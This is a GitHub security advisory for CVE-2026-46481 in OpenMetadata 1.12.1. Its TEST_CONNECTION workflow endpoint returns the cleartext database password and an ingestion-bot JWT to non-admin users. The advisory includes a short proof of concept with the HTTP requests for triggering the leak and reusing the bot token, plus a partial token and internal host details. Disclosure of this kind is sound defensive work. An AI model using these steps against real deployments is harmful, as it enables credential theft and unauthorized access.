GHSA-9VMH-WHC4-7PHG高危已审查

OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users

OSV 1.4.0 · github-reviewed · 修改于 2026-06-09 21:12

发布时间

2026-05-22 00:36

GitHub 审查时间

2026-05-22 00:36

NVD 发布时间

2026-06-09 01:16

源文件

advisories/github-reviewed/2026/05/GHSA-9vmh-whc4-7phg/GHSA-9vmh-whc4-7phg.json

公告说明

This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production In OpenMetadata 1.12.1, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both:

The cleartext database password in request.connection.config.password.
The ingestion bot JWT in openMetadataServerConnection.securityConfig.jwtToken.

The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs (for example, GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.

This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the automations/workflows TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.

Version / Product

Product: OpenMetadata (open source, Apache 2.0)
Version: 1.12.1
- GET /api/v1/system/version → {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}
Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (secretsManagerProvider: "db").

Preconditions

Authenticated SSO user with access to the UI.
User can open a Database Service and click “Test connection”.
No server admin role, no shell/DB access.

PoC (short)

Login as a regular SSO user.
In the UI go to: Settings → Services → Database Services → utplrac_scan2_srvetel
Open the connection tab and click “Test connection”.
The browser sends:

POST /api/v1/automations/workflows HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <Azure_AD_user_JWT> Content-Type: application/json

{ "name": "test-connection-Oracle-XXXX", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "********", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel" } }

标识信息

别名 / CVE

CVE-2026-46481

CWE

CWE-201

软件生态

Maven

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

原始 OSV JSON

{
  "id": "GHSA-9vmh-whc4-7phg",
  "aliases": [
    "CVE-2026-46481"
  ],
  "details": "**This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production**\nIn OpenMetadata 1.12.1, a non-admin SSO user can trigger a `TEST_CONNECTION` workflow for a Database Service and receive, in the HTTP 201 response of `POST /api/v1/automations/workflows`, both:\n\n- The cleartext database password in `request.connection.config.password`.\n- The ingestion bot JWT in `openMetadataServerConnection.securityConfig.jwtToken`.\n\nThe leaked ingestion-bot token can then be reused as `Authorization: Bearer <jwt>` to access sensitive service APIs (for example, `GET /api/v1/services/databaseServices/{id}?include=all`) with bot-level privileges.\n\nThis looks different from GHSA-pqqf-7hxm-rj5r, because it affects the `automations/workflows` TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.\n\n---\n\nVersion / Product\n\n- Product: OpenMetadata (open source, Apache 2.0)\n- Version: 1.12.1\n  - GET /api/v1/system/version →\n    {\"version\":\"1.12.1\",\"revision\":\"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5\"}\n- Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (`secretsManagerProvider: \"db\"`).\n\n---\n\nPreconditions\n\n- Authenticated SSO user with access to the UI.\n- User can open a Database Service and click “Test connection”.\n- No server admin role, no shell/DB access.\n\n---\n\nPoC (short)\n\n1) Login as a regular SSO user.\n\n2) In the UI go to:\n   Settings → Services → Database Services → utplrac_scan2_srvetel  \n   Open the connection tab and click “Test connection”.\n\n3) The browser sends:\n\nPOST /api/v1/automations/workflows HTTP/1.1\nHost: catalogodatos-test.utpl.edu.ec\nAuthorization: Bearer <Azure_AD_user_JWT>\nContent-Type: application/json\n\n{\n  \"name\": \"test-connection-Oracle-XXXX\",\n  \"workflowType\": \"TEST_CONNECTION\",\n  \"request\": {\n    \"connection\": {\n      \"config\": {\n        \"type\": \"Oracle\",\n        \"scheme\": \"oracle+cx_oracle\",\n        \"username\": \"qpro_gobierno_datos\",\n        \"password\": \"********\",\n        \"hostPort\": \"172.16.54.32:1521\",\n        ...\n      }\n    },\n    \"serviceType\": \"Database\",\n    \"connectionType\": \"Oracle\",\n    \"serviceName\": \"utplrac_scan2_srvetel\"\n  }\n}\n\nNote: in the request the password is masked as \"********\".\n\n4) The server responds with HTTP 201 and a body similar to:\n\n{\n  \"id\": \"5acd06f0-0db6-43b9-b0e0-e1574479bba7\",\n  \"workflowType\": \"TEST_CONNECTION\",\n  \"request\": {\n    \"connection\": {\n      \"config\": {\n        \"type\": \"Oracle\",\n        \"scheme\": \"oracle+cx_oracle\",\n        \"username\": \"qpro_gobierno_datos\",\n        \"password\": \"<REAL_PASSWORD_HERE>\",\n        \"hostPort\": \"172.16.54.32:1521\",\n        ...\n      }\n    },\n    \"serviceType\": \"Database\",\n    \"connectionType\": \"Oracle\",\n    \"serviceName\": \"utplrac_scan2_srvetel\",\n    \"secretsManagerProvider\": \"db\"\n  },\n  \"openMetadataServerConnection\": {\n    \"type\": \"OpenMetadata\",\n    \"hostPort\": \"http://openmetadata-server:8585/api\",\n    \"authProvider\": \"openmetadata\",\n    \"securityConfig\": {\n      \"jwtToken\": \"eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s...\"\n    },\n    ...\n  },\n  \"updatedBy\": \"<regular_user>\",\n  ...\n}\n\nKey points:\n- request.connection.config.password now contains the real Oracle DB password in cleartext.\n- openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = \"ingestion-bot\", tokenType = \"BOT\").\n\n5) Reuse the leaked ingestion-bot JWT:\n\nGET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1\nHost: catalogodatos-test.utpl.edu.ec\nAuthorization: Bearer <leaked_ingestion-bot_JWT>\nAccept: application/json\n\nThe API returns the full database service including username and password, confirming bot-level access.\n\n---\n\nImpact / Severity\n\n- Any user who can run “Test connection” on a database service can:\n  - Recover the cleartext DB credentials.\n  - Recover a long‑lived ingestion-bot JWT.\n  - Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.\n\n**\n<img width=\"1256\" height=\"653\" alt=\"LOWLEVELTOKEN\" src=\"https://github.com/user-attachments/assets/e5b45edb-be51-493a-b4d0-25175cdf7cbc\" />\n<img width=\"194\" height=\"339\" alt=\"USERROL\" src=\"https://github.com/user-attachments/assets/04005616-4c7b-4b27-90f6-a8e1a974712b\" />\n<img width=\"972\" height=\"389\" alt=\"CLEARPOC\" src=\"https://github.com/user-attachments/assets/fdb26b59-782e-4a6b-a595-cdfb7ea68984\" />**",
  "summary": "OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.4"
            }
          ]
        }
      ],
      "package": {
        "name": "org.open-metadata:openmetadata-service",
        "ecosystem": "Maven"
      }
    }
  ],
  "modified": "2026-06-09T13:12:15Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
    }
  ],
  "published": "2026-05-21T16:36:25Z",
  "references": [
    {
      "url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-9vmh-whc4-7phg",
      "type": "WEB"
    },
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46481",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/open-metadata/OpenMetadata",
      "type": "PACKAGE"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "nvd_published_at": "2026-06-08T17:16:51Z",
    "github_reviewed_at": "2026-05-21T16:36:25Z"
  }
}